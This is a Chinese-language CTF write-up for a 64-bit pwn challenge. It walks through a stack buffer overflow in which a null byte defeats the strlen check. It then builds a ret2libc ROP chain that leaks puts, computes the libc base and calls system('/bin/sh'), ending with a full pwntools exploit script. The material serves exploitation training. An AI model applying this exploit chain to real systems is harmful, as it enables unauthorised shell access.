题面
提供了: pwn4, libc-2.31.so 两个文件。 libc 版本也给了,好评!
分析
只有 main 函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
int __fastcall main(int argc, const char **argv, const char **envp)
{
char buf[91]; // [rsp+10h] [rbp-60h] BYREF
unsigned __int8 v5; // [rsp+6Bh] [rbp-5h]
int v6; // [rsp+6Ch] [rbp-4h]
v6 = 0;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
puts("Leave your message:");
read(0, buf, 0x200u);
v5 = strlen(buf);
if ( v5 > 0x50u )
{
puts("hacker");
exit(0);
}
puts("Ok,Message Received");
return 0;
}
|
可以大量读写,但是后面有 strlen 防止写入过多数据:
1
2
3
4
5
|
if ( v5 > 0x50u )
{
puts("hacker");
exit(0);
}
|
不过可以用 \x00 截断 strlen。
因为该程序没有其他可以利用的,所以选择 ret2libc ,首先用 puts 泄漏 libc 地址,回调 main 函数,构成第一次 ROP 链。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
pop_rdi_addr = 0x4007D3
ret_addr = 0x400556
main_addr = 0x4006B0
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
io.recvuntil(b"message:")
payload = (
b"\x00" * (0x60 + 0x8)
+ p64(pop_rdi_addr)
+ p64(puts_got)
+ p64(puts_plt)
+ p64(main_addr)
)
io.sendline(payload)
io.recvuntil(b"Received\n")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print(f"puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.sym["puts"]
print(f"libc base address = {hex(libc_base)}")
system_addr = libc_base + libc.sym["system"]
print(f"system address = {hex(system_addr)}")
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
print(f"/bin/sh address = {hex(binsh_addr)}")
|
获得 puts 地址之后减去 libc 偏移量得到 libc 基址。
之后就可以轻松构建 system("/bin/sh"):
1
2
3
4
5
6
7
8
9
|
payload = (
b"\x00" * (0x60 + 0x8)
+ p64(ret_addr)
+ p64(pop_rdi_addr)
+ p64(binsh_addr)
+ p64(system_addr)
)
io.recvuntil(b"message:")
io.sendline(payload)
|
即可拿到 shell。
完整 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
from pwn import *
context.gdb_binary = "/bin/pwndbg"
context.log_level = "info"
io = process("./pwn4")
#io = remote("node4.anna.nssctf.cn", 29526)
elf = ELF("./pwn4")
libc = ELF("./libc-2.31.so")
pop_rdi_addr = 0x4007D3
ret_addr = 0x400556
main_addr = 0x4006B0
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
io.recvuntil(b"message:")
payload = (
b"\x00" * (0x60 + 0x8)
+ p64(pop_rdi_addr)
+ p64(puts_got)
+ p64(puts_plt)
+ p64(main_addr)
)
io.sendline(payload)
io.recvuntil(b"Received\n")
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
print(f"puts address: {hex(puts_addr)}")
libc_base = puts_addr - libc.sym["puts"]
print(f"libc base address = {hex(libc_base)}")
system_addr = libc_base + libc.sym["system"]
print(f"system address = {hex(system_addr)}")
binsh_addr = libc_base + next(libc.search(b"/bin/sh\x00"))
print(f"/bin/sh address = {hex(binsh_addr)}")
payload = (
b"\x00" * (0x60 + 0x8)
+ p64(ret_addr)
+ p64(pop_rdi_addr)
+ p64(binsh_addr)
+ p64(system_addr)
)
io.recvuntil(b"message:")
io.sendline(payload)
io.interactive()
|